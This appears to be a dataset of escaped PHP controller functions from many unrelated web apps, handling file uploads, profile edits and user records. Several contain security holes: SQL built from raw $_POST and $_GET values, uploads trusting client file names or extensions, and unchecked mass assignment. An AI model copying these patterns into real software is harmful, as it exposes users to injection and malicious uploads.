=> $this->input->post('nm_kecamatan'),\n 'desa' => $this->input->post('nm_desa'),\n 'anggaran' => $this->input->post('anggaran'),\n 'perlengkapan' => $this->input->post('perlengkapan'),\n 'penutup' => $this->input->post('penutup'),\n 'rab' => $this->db->escape_str($this->upload->data('file_name')),\n 'role_rab' => 'Proses',\n );\n\n if ($this->model_all->insertData('tb_tor', $data_tor)) $pesan = \"success\";\n else $pesan = \"error\";\n\n $data['pesan'] = $pesan;\n } else {\n $data['message']['file_rab'] = '<p class=\"text-danger\" style=\"font-size: 14px;\">File RAB tidak dapat diupload</p>';\n }\n }\n } else {\n $data['success'] = true;\n $data_tor = array(\n 'kode_tor' => $kode_tor,\n 'judul_tor' => $this->input->post('jdl_tor'),\n 'ltr_belakang' => $this->input->post('latar_belakang'),\n 'tujuan' => $this->input->post('tujuan'),\n 'fasilitator' => $this->input->post('narasumber'),\n 'jml_peserta' => $this->input->post('jml_peserta'),\n 'tgl' => $this->input->post('kalender'),\n 'tgl_selesai' => $this->input->post('tgl_selesai'),\n 'lokasi' => $this->input->post('lokasi_kegiatan'),\n 'kecamatan' => $this->input->post('nm_kecamatan'),\n 'desa' => $this->input->post('nm_desa'),\n 'anggaran' => $this->input->post('anggaran'),\n 'perlengkapan' => $this->input->post('perlengkapan'),\n 'penutup' => $this->input->post('penutup'),\n 'role_rab' => 'Proses',\n );\n\n if ($this->model_all->insertData('tb_tor', $data_tor)) {\n $pesan = \"success\";\n } else {\n $pesan = \"error\";\n }\n $data['pesan'] = $pesan;\n }\n } else {\n foreach ($_POST as $key => $value) {\n $data['message'][$key] = form_error($key);\n }\n }\n\n sleep(1);\n echo json_encode($data);\n }", "public function update()\n {\n // Prepare data & var\n $data = $this->input->post();\n $id = $data['id'];\n $data['kode_kategori'] = explode('-', $data['kode_kategori'])[0];\n $uploadSukses = false;\n $data['updateAt'] = date('Y-m-d h:i:s');\n $data['updateBy'] = $this->ion_auth->get_user_id();\n // Unset unusefull data\n unset($data['id']);\n // If image exist\n if ($this->fileHasName()) {\n $this->updateImage($data, $id);\n } else {\n if ($this->barang_m->update($id, $data) == FALSE) {\n // echo \"Salah input2\";\n // show_404();\n echo json_encode(array('Terjadi kesalahan input'));\n } else {\n echo json_encode(array('sukses'));\n }\n }\n }", "public function update()\n {\n $fitur['ac'] = isset($_POST['1']) ? 1 : 0; //Inisialisasi terdapat fitur atau tidak\n $fitur['anti_lock'] = isset($_POST['2']) ? 1 : 0;\n $fitur['music_player'] = isset($_POST['3']) ? 1 : 0;\n $fitur['video_player'] = isset($_POST['4']) ? 1 : 0;\n \n $temp = $_FILES['gambar']['tmp_name'];\n if($temp) { //Mengecek apakah form terdapat gambar\n //Inisialisasi Data Gambar\n $name = rand(0,9999).$_FILES['gambar']['name'];\n $size = $_FILES['gambar']['size'];\n $type = $_FILES['gambar']['type'];\n $folder = \"foto_mobil/\";\n //Ambil data foto kendaraan lama dengan Id\n $oldgambar = $this->model('rental_model')->getFotoById($_POST['id_mobil']);\n //Melakukan pengecekan ukuran file dan format\n if ($size < 2048000 and ($type =='image/jpeg' or $type == 'image/png' or $type == 'image/jpg')) {\n move_uploaded_file($temp, $folder . $name); //Melakukan upload foto ke folder/nama\n //Mengecek Apakah ada foto kendaraan Lama\n if(is_file(\"foto_mobil/\".$oldgambar['gambar'])) {\n unlink(\"foto_mobil/\".$oldgambar['gambar']); //Hapus foto kendaraan lama\n }\n $this->model('Rental_model')->update_foto_kendaraan($name, $_POST); //Input ke database foto mobil\n //Notifikasi sukses update\n Flasher::setFlash_modal('Data Kendaraan telah berhasil diperbarui.', 'Data Kendaraan Diperbarui!', 'success');\n header('location: ' . BASEURL . '/kendaraan');\n exit;\n }\n else{\n Flasher::setFlash_modal('Kesalahan, data Kendaraan gagal untuk diperbarui.', 'Data Kendaraan gagal ditambahkan!', 'danger');\n header('location: ' . BASEURL . '/kendaraan');\n exit;\n } \n }\n //Input ke database\n if ($this->model('Rental_model')->update_kendaraan($_POST, $fitur)) {\n Flasher::setFlash_modal('Data Kendaraan telah berhasil diperbarui.', 'Data Kendaraan Diperbarui!', 'success');\n header('location: ' . BASEURL . '/kendaraan');\n exit;\n }\n header('location: ' . BASEURL . '/kendaraan');\n }", "public function upload_lampiran_surat_keluar()\n {\n $where = $this->input->post('id_sk');\n if ($_FILES != null) {\n $this->aksi_upload_lampiran_surat_keluar($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_surat_keluar/' . $where);\n }", "public function aksi_ubah_profil(){ \n\t\tif($this->session->userdata('id_level') =='1'){\n\t\t$pengguna = $this->m_admin->pengguna(); \n \n $data = [\n\t\t\t\t'nama' => $this->input->post('nama'),\n\t\t\t\t'email' => $this->input->post('email'),\n\t\t\t\t'alamat' => $this->input->post('alamat'),\n\t\t\t\t'no_hp' => $this->input->post('no_hp'),\n\t\t\t];\n\n $this->m_admin->update_profil($pengguna['id_pengguna'],$data);\n $this->session->set_flashdata('success', 'Data telah diubah');\n redirect('detail-profil-admin');\n\t\t}\n\t}", "function a_edit() {\n\t\tif (isset($_POST[\"btSubmit\"])) {\n\t\t\t$_POST['use_passw']=password_hash($_POST['use_passw'], PASSWORD_DEFAULT);\n\t\t\t$u=new User();\n\t\t\t$u->chargerDepuisTableau($_POST);\n\t\t\t$u->sauver();\n\t\t\theader(\"location:index.php?m=documents\");\n\t\t} else {\t\t\t\t\n\t\t\t$id = isset($_GET[\"id\"]) ? $_GET[\"id\"] : 0;\n\t\t\t$u=new User($id);\n\t\t\textract($u->data);\t\n\t\t\trequire $this->gabarit;\n\t\t}\n\t}", "public function doUpdate()\n {\n if ($_POST['safe']) {\n $id = htmlspecialchars($_POST['id']);\n $name = htmlspecialchars($_POST['name']);\n $kategorie = htmlspecialchars($_POST['kategorie']);\n $mitgliederanzahl = $_POST['mitgliederanzahl'];\n $gründungsjahr = $_POST['gründungsjahr'];\n $beschreibung = htmlspecialchars($_POST['beschreibung']);\n $error_message = \"\";\n\n //Fileupload wurde von W3CSchools übernomen\n $target_dir = \"uploads/\";\n $target_file = $target_dir . basename($_FILES[\"img\"][\"name\"]);\n $uploadOk = 1;\n $imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);\n // Check if image file is a actual image or fake image\n if(isset($_POST[\"submit\"])) {\n $check = getimagesize($_FILES[\"img\"][\"tmp_name\"]);\n if($check !== false) {\n echo \"File is an image - \" . $check[\"mime\"] . \".\";\n $uploadOk = 1;\n } else {\n echo \"File is not an image.\";\n $uploadOk = 0;\n }\n }\n // Check if file already exists\n if (file_exists($target_file)) {\n echo \"Sorry, file already exists.\";\n $uploadOk = 0;\n }\n // Check file size\n if ($_FILES[\"img\"][\"size\"] > 500000) {\n echo \"Sorry, your file is too large.\";\n $uploadOk = 0;\n }\n // Allow certain file formats\n if($imageFileType != \"jpg\" && $imageFileType != \"png\" && $imageFileType != \"jpeg\"\n && $imageFileType != \"gif\" ) {\n echo \"Sorry, only JPG, JPEG, PNG & GIF files are allowed.\";\n $uploadOk = 0;\n }\n // Check if $uploadOk is set to 0 by an error\n if ($uploadOk == 0) {\n echo \"Sorry, your file was not uploaded.\";\n // if everything is ok, try to upload file\n } else {\n if (move_uploaded_file($_FILES[\"img\"][\"tmp_name\"], $target_file)) {\n echo \"The file \". basename( $_FILES[\"img\"][\"name\"]). \" has been uploaded.\";\n } else {\n echo \"Sorry, there was an error uploading your file.\";\n }\n }\n\n // validierung\n if(!isset($name)) {\n $error_message .= \"Name Muss eingegeben werden<br><br>\";\n }\n else {\n if(strlen($name) < 2) {\n $error_message .= \"Name zu kurz<br><br>\";\n }\n if(strlen($name) > 30) {\n $error_message .= \"Name zu lang<br><br>\";\n }\n if (preg_match(\"/[\\'^£$%&*()}{@#~?><>,|=_+¬]/\", $name))\n {\n $error_message .= \"Name darf keine Sonderzeichen enthalten<br><br>\";\n }\n }\n if(!isset($kategorie)) {\n $error_message .= \"Kategorie Muss eingegeben werden<br><br>\";\n }\n else {\n if(strlen($kategorie) < 2) {\n $error_message .= \"Kategorie zu kurz<br><br>\";\n }\n if(strlen($kategorie) > 30) {\n $error_message .= \"Kategorie zu lang<br><br>\";\n }\n }\n if (preg_match(\"/[\\'^£$%&*()}{@#~?><>,|=_+¬]/\", $kategorie))\n {\n $error_message .= \"Kategorie darf keine Sonderzeichen enthalten<br><br>\";\n }\n if(!is_numeric($mitgliederanzahl)) {\n $error_message .= \"Mitgliederanzahl muss eine Zahl sein<br><br>\";\n }\n else {\n if($mitgliederanzahl > 10000000) {\n $error_message .= \"Mitgliederanzahl ist zu Gross<br><br>\";\n }\n }\n if(!is_numeric($gründungsjahr)) {\n $error_message .= \"Gründungsjahr muss eine Zahl sein<br><br>\";\n }\n else {\n if($gründungsjahr < 0) {\n $error_message .= \"Gründungsjahr darf nicht negativ sein\";\n }\n if($gründungsjahr > 9999) {\n $error_message .= \"Gründungsjahr ist zu hoch\";\n }\n }\n if(strlen($name) > 1000) {\n $error_message .= \"Beschreibung zu lang<br><br>\";\n }\n\n if(!empty($error_message)){\n $view = new View(\"fehler\");\n $view->title = \"Fehler\";\n $view->heading = \"Fehler\";\n $view->error_message = $error_message;\n $view->display();\n\n }\n else {\n $vereinRepository = new VereinRepository();\n $vereinRepository->update( $id,$name, $kategorie, $mitgliederanzahl, $gründungsjahr, $beschreibung, $target_file);\n\n // Anfrage an die URI /verein/detail mit der id des editierten Vereins weiterleiten (HTTP 302)\n header('Location: /verein/detail?id='.$id);\n }\n }\n }", "function khoanick($UserID){\n //--- Neu chua dang nhap thi bat dang nhap\n if($this->session->userdata('permission')!=1){\n redirect(base_url());\n exit();\n }\n $data=$this->default_model->getInfoID($this->_table,array(\"userid\" => $UserID));\n $data['template']='admin/form_khoanick'; \n $TrangThai=$this->input->post(\"TrangThai\");\n //Neu dang nhap loi\n if($TrangThai==\"\")\n {\n }\n else\n {\n $cdata=array(\"TrangThai\" => $TrangThai, \"LoiNhan\" => $this->input->post(\"LoiNhan\"));\n $this->default_model->updateDuLieu($this->_table,$cdata,array(\"userid\" => $UserID));\n redirect(base_url().\"thanhvien/quanlythanhvien/1/g/\");\n exit(); \n }\n $this->load->view('admin/admin',$data); \n }", "function do_upload($parent_id){\n\t\tif(!is_numeric($parent_id)){\n\t\t\tredirect('site_security/not_allowed');\n\t\t}\n\t\t$this->load->library('session');\n\t\t$this->load->module('site_security');\n\t\t$this->site_security->_make_sure_is_admin();\n\t\t//submit value\n\t\t$submit = $this->input->post('submit', TRUE);\n //cansel button\n\t\tif($submit == 'Cancel'){\n\t\n\t\t\tredirect('item_galleries/update_group/'.$parent_id);\n\t\t}\n\t\t//upload\n\t\t$config['upload_path'] = './assets/img/gallery/';\n\t\t$config['allowed_types'] = 'gif|jpg|png|jpeg';\n\t\t$config['max_size'] = 3000;\n\t\t$config['max_width'] = 2024;\n\t\t$config['max_height'] = 1568;\n\n\t\t$this->load->library('upload', $config);\n\n\t\tif (!$this->upload->do_upload('userfile'))\n\t\t{\n\t\t\t$data['error'] = array('error' => $this->upload->display_errors());\n \n\t\t\t//$this->load->view('upload_form', $error)\n\t\t\t$data['parent_id'] = $parent_id;\n\t\t $data['flash'] = $this->session->flashdata('item');\n\n\t\t\t$data['headline'] = 'upload image';\n //$data['stor_items'] = 'stor_items';\n\t\t $data['view_file'] = 'upload_image';\n\t\t\t$this->load->module('templates');\n\t\t\t$this->templates->admin($data);\n\t }\n\t\telse\n\t\t{ \n\t\t\t$data = array('upload_data' => $this->upload->data());\n\t\t\t//get finename \n\t\t\t$upload_data = $data['upload_data'];\n\t\t\t$file_name = $upload_data['file_name'];\n\t unset($data);\n // insert image into database\n\t $data['parent_id'] = $parent_id;\n\t\t\t$data['picture'] = $file_name;\n $this->_insert($data);\n\t\t\t//get id \n\t\t\t\n\t\t $data['flash'] = $this->session->flashdata('item');\n\n\t\t redirect('item_galleries/update_group/'.$parent_id);\n\t\t}\n\t}", "public function upload_foto_ktp()\n {\n $where = $this->input->post('id_warga');\n if ($_FILES != null) {\n $this->aksi_upload_foto_ktp($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_data_warga/' . $where);\n }", "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'bestj');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "public function UpdatePersonnage(){\r\n $this->idPost();\r\n $this->lastFileNamePost();\r\n $this->titlePost();\r\n $this->contentPost();\r\n $this->personnage(); \r\n // Testons si le fichier a bien été envoyé et s'il n'y a pas d'erreur\r\nif (isset($_FILES['file']) AND $_FILES['file']['error'] == 0){\r\n // Testons si le fichier n'est pas trop gros\r\n if ($_FILES['file']['size'] <= 2000000)\r\n {\r\n \r\n unlink(\"public/images/personnage/\" . $_POST['lastFileName']);\r\n \r\n $infosfichier = pathinfo($_FILES['file']['name']);// le'extention du fichier envoye .jpg etc\r\n \r\n $extension_upload = $infosfichier['extension'];//on le met dans un tableau\r\n \r\n $extensions_autorisees = array('jpg', 'jpeg', 'gif', 'png');// les extention qu'on acceptes\r\n \r\n\t\t $name = $infosfichier['filename'];// On recupere le nom du fichier envoye\r\n \r\n\t\t $file = 'Time' .time(). 'Name' .$name. '.' .$extension_upload;\r\n //Nom du fichier qu'on lui donne Time du moment + name + nom du fichier + extention\r\n \r\n // Testons si l'extension du fichier est egale a celle que l'on autorise\r\n if (in_array($extension_upload, $extensions_autorisees))\r\n {\r\n // On peut valider le fichier et le stocker définitivement\r\n move_uploaded_file($_FILES['file']['tmp_name'], 'public/images/personnage/' . $file);\r\n }else{\t \r\n echo \"<script>alert(\\\"L'extension du fichier n'est pas autorisée. Seuls les fichiers jpg, jpeg, png sont acceptés.\\\")</script>\";\r\n}\r\n }else{\r\n echo \"<script>alert(\\\"Le fichier est trop volumineux (Poids limité à 4Mo)\\\")</script>\";\r\n\t\t}\r\n }else{\r\n $file = $this->_lastFileNamePostSecure;\r\n} \r\n $this->_personnageManager->updatePersonnage($this->_idPostSecure, $this->_titlePostSecure, $this->_contentPostSecure, $file);\r\n \r\n header('location: GestionPersonnage'); \r\n }", "public function actualizarUsuario()\n {\n //quitamos el id del array y lo guardamos a parte\n $datos = $_POST;\n $ciu = isset($datos['CIU']) ? $datos['CIU'] : $this->session->userdata(\"ciu\");\n unset($datos['CIU']);\n\n //miramos si ha enviado imagen de perfil. de ser asi se procesa en otro metodo aparte y se quita del array\n if (isset($datos['img'])) {\n self::actualizarImagenPerfil($datos['img']);\n unset($datos['img']);\n }\n\n echo $this->Usuarios_model->actualizarUsuario($ciu, $datos);\n }", "public function upload() {\n\n if (Auth::check() == true)\n {\n\n if (Input::file('txt_gambar') == null)\n {\n return('error_null');\n }\n\n else \n {\n if (Input::file('txt_gambar')->getSize() < 2048)\n {\n return ('error_max_size');\n }\n\n else \n {\n\n $file = array('gambar' => Input::file('txt_gambar'));\n $rules = array('gambar' => 'required|mimes:jpg,jpeg,gif,png');\n $validator = Validator::make($file, $rules);\n \n if ($validator->fails()) //Cek Ekstensi File\n {\n return ('error_not_valid');\n }\n\n else \n {\n \n if (Input::file('txt_gambar')->isValid() == true) //Apabila Gambar Valid\n {\n $destinationPath = 'assets/img/uploads/slide/';\n $extension = Input::file('txt_gambar')->getClientOriginalExtension();\n $fileName = rand(11111,99999).'.'.$extension; //Acak Nama File\n Input::file('txt_gambar')->move($destinationPath, $fileName);\n return(url() . '/' . $destinationPath . $fileName);\n }\n\n else \n {\n return with('error_not_valid');\n }\n\n }\n }\n }\n\n }\n\n else\n {\n return Redirect::to('/account');\n }\n\n \n\n }", "function saveNewPerfil(){\n\t\t$cont = $this->dper->getContadorPerfilByNombre($this->nombre);\n\t\tif($cont == 0){\n\t\t\t$r = $this->dper->insertPerfil($this->nombre);\n\t\t\tif($r=='true'){\n\t\t\t\t$msg = PERFIL_AGREGADO;\n\t\t\t}else{\n\t\t\t\t$msg = ERROR_ADD_PERFIL;\n\t\t\t}\n\t\t}else{\n\t\t\t$msg = ERROR_ADD_PERFIL;\n\t\t}\n\t\treturn $msg;\n\t}", "public function act_edit_user()\n {\n $id = strip_tags($this->input->post('id'));\n $email = strip_tags($this->input->post('email'));\n $pass = strip_tags(hash('sha256',$this->input->post('password')));\n\n\n if (validation_edit_admin()) {\n $update_user = $this->dashboard->update('m_admin', array('id' => $id), array('email' => $email, 'password' => $pass));\n if ($update_user) {\n $response = array('error'=>false,'title'=>'Update Berhasil','pesan'=>'');\n echo json_encode($response);\n }\n\n }else{\n $response = array('error'=>true,'title'=>'Update Gagal!','pesan'=>strip_tags(validation_errors()));\n echo json_encode($response);\n }\n }", "public function nuevoInstructor() {\n if ($_SERVER['REQUEST_METHOD'] == 'POST' &&\n isset($_POST['tipoD']) &&\n !empty($_POST['tipoD']) &&\n isset($_POST['numero_documento']) &&\n !empty($_POST['numero_documento']) &&\n isset($_POST['nombre_user']) &&\n !empty($_POST['nombre_user']) &&\n isset($_POST['apellido_user']) &&\n !empty($_POST['apellido_user']) &&\n isset($_POST['correo_user']) &&\n !empty($_POST['correo_user']) &&\n isset($_POST['telefono_user']) &&\n !empty($_POST['telefono_user']) \n\n\n // $_FILES['imagen']['name']\n ) {\n \t#echo \"<script>alert('Entro al controlador')</script>\";\n /* $nom_arch = $_FILES['imagen']['name']; //obtener el nombre del imagen\n $ext_img = explode(\".\", $nom_arch);\n $ext_img = end($ext_img);\n $nombre_img = strtolower($_POST['nombre_user'] .'_'. $_POST['apellido_user']) . '.' . $ext_img; */\n\n\n $clave = $_POST['numero_documento'];\n\n $clavecifrada = password_hash($clave, PASSWORD_DEFAULT);\n\n $valores = array('tipo_documento' => $_POST['tipoD'],\n 'num_documento' => $_POST['numero_documento'],\n 'nombre_user' => $_POST['nombre_user'],\n 'apellido_user' => $_POST['apellido_user'],\n 'correo_user' => $_POST['correo_user'],\n 'telefono_user' => $_POST['telefono_user'],\n 'telefono_user' => $_POST['telefono_user'],\n 'pass' => $clavecifrada\n );\n //porceder a guardar mediante un metodo del modelo\n $guardar = ModeloInstructor::guardarInstructor($valores);\n //echo $guardar['id'];\n if($guardar['guardar'] != FALSE){\n echo '<script>\n swal({\n title: \"Guardo\",\n text: \"Instructor Guardado Correctamente\",\n icon: \"success\"\n }).then((willDelete) => {\n if (willDelete) {\n window.location.replace(\"registrarInstructor\");\n }\n });\n </script>';\n }\n\n $valoresU = array('pass' => $clavecifrada,\n 'num_documento' => $_POST['numero_documento'],\n 'nombre_user' => $_POST['nombre_user'],\n 'id_instructor' => $guardar['id']\n );\n //GUARDAMOS TAMBIEN EL USUARIO DE INGRESO AL APLICATIVO\n $guardarUser = ModeloInstructor::guardarInstructorUsuario($valoresU);\n /////////////////////\n if($guardarUser['guardar'] != FALSE){\n echo '<script>\n swal({\n title: \"Guardo\",\n text: \"Guardado Correctamente Usuario\",\n icon: \"success\"\n }).then((willDelete) => {\n if (willDelete) {\n window.location.replace(\"registrarInstructor\");\n }\n });\n </script>';\n }else{\n echo '<script>\n swal({\n title: \"Oops!\",\n text: \"Ha ocurrido un error al guardar Usuario\",\n icon: \"error\"\n });\n </script>';\n }\n ////////////////////\n } else {\n echo '<script>\n swal({\n title: \"Oops!\",\n text: \"No se recibieron algunos datos\",\n icon: \"error\"\n });\n </script>';\n }\n }", "public function upload() \n\t{\t \n\t\t$id = $_SESSION['mapaid'];\n\n\t\tif (isset($_FILES['arquivo']['name']) && $_FILES[\"arquivo\"][\"error\"] == 0) {\n\n\t\t\t$arquivo_tmp = $_FILES['arquivo']['tmp_name'];\n\t\t\t$nome = $_FILES['arquivo']['name'];\n\t \n\t\t\t// Pega a extensao\n\t\t\t$extensao = strrchr($nome, '.');\n \n\t\t\t// Converte a extensao para mimusculo\n\t\t\t$extensao = strtolower($extensao);\n\n\t\t\t// Somente imagens, .jpg;.jpeg;.gif;.png\n\t\t\t// Aqui eu enfilero as extesões permitidas e separo por ';'\n\t\t\t// Isso server apenas para eu poder pesquisar dentro desta String\n\t\t\tif(strstr('.jpg;.jpeg;.gif;.png', $extensao)){\n\t\t\t\t// Cria um nome único para esta imagem\n\t\t\t\t// Evita que duplique as imagens no servidor.\n\t\t\t\t$novoNome = md5(microtime()) . $extensao;\n\t\t\t\tvar_dump(UPLOAD);\n\t\t\t\t\n\t\t\t\t// Concatena a pasta com o nome\n\t\t\t\t$destino = UPLOAD . $novoNome;\n\t\t \n\t\t\t\t// tenta mover o arquivo para o destino\n\t\t\t\tif( @move_uploaded_file( $arquivo_tmp, $destino )){\n\t\t\t\t\t$msg=\"Arquivo salvo com sucesso\";\n\n\t\t\t\t}else{\n\t\t\t\t\t$msg=\"Erro ao salvar o arquivo\";\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t$msg=\"Formato do arquivo invalido \";\n\t\t\t}\n\n\t\t\t$data = array(\n\t\t\t'endereco' => $novoNome,\n\t\t\t);\n\n\n\t\t\t$this->view->title = 'Mapa';\n\t\t\t$this->model->salvarUpload($data, $id);\n\t\t\t$this->view->mapaDados = $this->model->mapaConsultaporId($id);\n\t\t\t$this->view->msg = $msg;\n\t\t\theader('location: ' . URL . 'mapas/edit/'.$id);\n\t\t} else {\n\t\t\t$this->view->render('header');\n\t\t\t$this->view->render('mapas/imagem');\n\t\t\t$this->view->render('footer');\n\n\t\t}\n\t}", "function save_user_management_validation_admin() {\n global $pesan_error; //memanggil tempat menyimpan pesan error di global\n global $conn; //memanggil koneksi juga di global\n //jika nama pengguna yang di $_POST tidak sama dengan pengguna rinci di database (kasarnya sudah diubah), maka akan dilakukan validasi\n if ($_POST['nama-pengguna']!=pengguna_rinci($_GET['nama-pengguna'])['pengguna']['nama_pengguna']) {\n //select berdasarkan nama pengguna yang baru diasukkan tadi\n $q = $conn->prepare(\"SELECT * FROM pengguna WHERE nama_pengguna='{$_POST['nama-pengguna']}' AND aktif='1'\");\n $q->execute();\n //jika menghasilkan nilai, maka jelas nama pengguna sudah ada dan ada peringatan berikut\n if (@$q->fetchAll()) $pesan_error['nama-pengguna'] = 'Nama pengguna sudah digunakan';\n }\n validasi_masukan_alfanumerik($pesan_error, 'nama-pengguna'); //validasi alfanumerik juga\n validasi_masukan_wajib($pesan_error, 'nama-pengguna'); //masukan wajib juga\n if ($_POST['sandi']!='') { //jika kolom sandi diisi, dianggap melakukan perubahan dan akan divalidasi\n validasi_masukan_minimal($pesan_error, 'sandi', 4); //validasi minimail 4\n validasi_masukan_sama($pesan_error, 'konfirmasi-sandi', 'sandi', 'Sandi'); //harus sama dengan kolom konfirmasi\n }\n validasi_masukan_alfabet($pesan_error, 'nama'); //validasi alfabet untuk nama\n validasi_masukan_wajib($pesan_error, 'nama'); //validasi wajib juga\n if ($_POST['nomor-hp']!=pengguna_rinci($_GET['nama-pengguna'])['pengguna']['nomor_hp']) { //jika nomor hp berbeda dengan data yang lama, akan divalidasi juga\n $q = $conn->prepare(\"SELECT * FROM pengguna WHERE nomor_hp='{$_POST['nomor-hp']}'\"); //select berdasarkan nomor hp yang baru\n $q->execute();\n //jika ada nilai, maka dianggap sudah ada, dan ada peringatan\n if (@$q->fetchAll()) $pesan_error['nomor-hp'] = 'Nomor HP sudah digunakan';\n }\n validasi_masukan_panjang($pesan_error, 'nomor-hp', 10, 15); //validasi no hp min 10 max 15\n validasi_masukan_numerik($pesan_error, 'nomor-hp'); //validasi numerik juga\n validasi_masukan_wajib($pesan_error, 'nomor-hp'); //validasi wajib diisi juga\n if ($_POST['email']!=pengguna_rinci($_GET['nama-pengguna'])['pengguna']['email']) { //email jika berbeda dengan data yang lama, akan divalidasi\n $q = $conn->prepare(\"SELECT * FROM pengguna WHERE email='{$_POST['email']}'\"); //select berdasarkan email baru\n $q->execute();\n //jika ada data, maka dianggap sudah ada\n if (@$q->fetchAll()) $pesan_error['email'] = 'E-mail sudah digunakan';\n }\n validasi_masukan_email($pesan_error, 'email'); //masukan format email pada kolom email\n validasi_masukan_wajib($pesan_error, 'email'); //masukan wajib juga\n if (!empty($pesan_error)) return; //jika ada error, maka ke bawah ini tidak dieksekusi, ditahan oleh return\n if ($_POST['sandi']!='') { //jika kolom sandi terisi, maka akan dianggap melakukan perubahan dan akan diupdate di database\n //melakukan update terhadap pengguna bersarkan nama pengguna di data $_GET (ini khusus admin)\n $q = $conn->prepare(\"UPDATE pengguna SET sandi=SHA2('{$_POST['sandi']}', 0) WHERE nama_pengguna='{$_GET['nama-pengguna']}' AND aktif='1'\");\n $q->execute();\n }\n //jika ternyata yang diupdate adalah dirinya sendiri, maka akan dilakukan update juga pada session, agar tidak merusak data login pada sesi\n if (pengguna_rinci($_GET['nama-pengguna'])['pengguna']['nama_pengguna']==pengguna()['nama_pengguna']) $_SESSION['nama-pengguna'] = $_POST['nama-pengguna'];\n //melakukan update pada tabel pengguna berdasarkan nama pengguna yang ada dalam data $_GET\n $q = $conn->prepare(\"UPDATE pengguna SET nama_pengguna='{$_POST['nama-pengguna']}', nama='{$_POST['nama']}', alamat='{$_POST['alamat']}', nomor_hp='{$_POST['nomor-hp']}', email='{$_POST['email']}' WHERE nama_pengguna='{$_GET['nama-pengguna']}' AND aktif='1'\");\n $q->execute();\n}", "public function upload_foto_kk_rt()\n {\n $where_rt = $this->input->post('id_rt');\n $where = $this->input->post('id_warga');\n if ($_FILES != null) {\n $this->aksi_upload_foto_kk($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_data_rt/' . $where_rt);\n }", "public function menufileisinvalid($request,$addeditid=0)\n {\n \n \n //**** image code starts\n \n \n $allowedFileExtAr=array();\n $allowedFileExtAr[]=\"pdf\";\n \n \n $filecontrolname=\"menu_name\";\n \n \n\t\t\t\t$allowedFileExtSizeAr=array();\n $allowedFileExtSizeAr['pdf']=(5*1024*1024);\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//max_width & max_height ,min_width & min_height,equal_width & equal_height \n\t\t\t\t$allowedFileResolAr=array();\n\t\t\t\t\n\t\t\t\t//$allowedFileResolAr['jpeg']=array('min_width'=>537,'min_height'=>507);\n\t\t\t\t\n $func=\"validatefile\";//validatefile/uploadfile\n \n \n $destinationsourcePath=public_path().\"/upload/venue-menu/source-file/\"; \n $chkimgresp=Imageuploadlib::imageupload($request,$filecontrolname,$allowedFileExtAr,$allowedFileExtSizeAr,$allowedFileResolAr,$func,$addeditid,$destinationsourcePath,$errfileAr=array()) ;\n \n \n \n \n \n /* echo \"==chkimg1==><pre>\";\n print_r($chkimgresp);\n echo \"</pre>\"; */ //exit();\n \n \n $invalidresp=false;\n \n $errormsgs=''; $fileuploadednames=array(); $errfileAr=array();\n $totalfileposted=0;\n \n if(!empty($chkimgresp))\n {\n \n \n if(array_key_exists('errormsgs',$chkimgresp))\n {\n $errormsgs=$chkimgresp['errormsgs'];\n }\n \n if(array_key_exists('errfileAr',$chkimgresp))\n {\n $errfileAr=$chkimgresp['errfileAr'];\n }\n \n if(array_key_exists('totalfileposted',$chkimgresp))\n {\n $totalfileposted=$chkimgresp['totalfileposted'];\n }\n \n }\n \n $resparray=array();\n $resparray['errormsgs']=$errormsgs;\n $resparray['errfileAr']=$errfileAr;\n $resparray['totalfileposted']=$totalfileposted;\n \n return $resparray;\n }", "private function aksi_upload_foto_profil_profil_saya($id_admin)\n {\n $config['upload_path'] = './../assets/uploads/admin/';\n $config['allowed_types'] = 'gif|jpg|png|jpeg|pdf';\n $config['file_name'] = 'foto_admin-' . date('ymd') . '-' . substr(md5(rand()), 0, 10);\n\n $this->load->library('upload', $config);\n $id_admin = $this->input->post('id_admin');\n\n if (!empty($_FILES['berkas']['name'])) {\n\n if ($this->upload->do_upload('berkas')) {\n\n $uploadData = $this->upload->data();\n\n //Compres Foto\n $config['image_library'] = 'gd2';\n $config['source_image'] = './../assets/uploads/admin/' . $uploadData['file_name'];\n $config['create_thumb'] = FALSE;\n $config['maintain_ratio'] = TRUE;\n $config['quality'] = '50%';\n $config['width'] = 600;\n $config['height'] = 400;\n\n $config['new_image'] = './../assets/uploads/admin/' . $uploadData['file_name'];\n $this->load->library('image_lib', $config);\n $this->image_lib->resize();\n\n $item = $this->db->where('id_admin', $id_admin)->get('admin')->row();\n\n //replace foto lama \n if ($item->foto_profil_admin != \"placeholder_profil.png\") {\n $target_file = './../assets/uploads/admin/' . $item->foto_profil_admin;\n unlink($target_file);\n }\n\n $data['foto_profil_admin'] = $uploadData['file_name'];\n\n $this->db->where('id_admin', $id_admin);\n $this->db->update('admin', $data);\n }\n }\n }", "public function upload_foto_ttd_pejabat_berwenang()\n {\n $where = $this->input->post('id_pejabat_berwenang');\n if ($_FILES != null) {\n $this->aksi_upload_foto_ttd_pejabat_berwenang($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_data_pejabat_berwenang/' . $where);\n }", "public function upload_foto_profil_kades()\n {\n $where = $this->input->post('id_kades');\n if ($_FILES != null) {\n $this->aksi_upload_foto_profil_kades($_FILES);\n }\n $this->session->set_flashdata('success', 'diubah');\n redirect('admin/detail_data_kades/' . $where);\n }", "function cek_status_username(){\n $username = $this->input->post('username');\n \n # select ke model member username yang diinput user\n $hasil_username = $this->model_program->cek_username($username);\n \n # pengecekan value $hasil_username\n if(count($hasil_username)!=0){\n # kalu value $hasil_username tidak 0\n # echo 1 untuk pertanda username sudah ada pada db \n echo \"1\"; \n }else{\n # kalu value $hasil_username = 0\n # echo 2 untuk pertanda username belum ada pada db\n echo \"2\";\n }\n \n }", "function 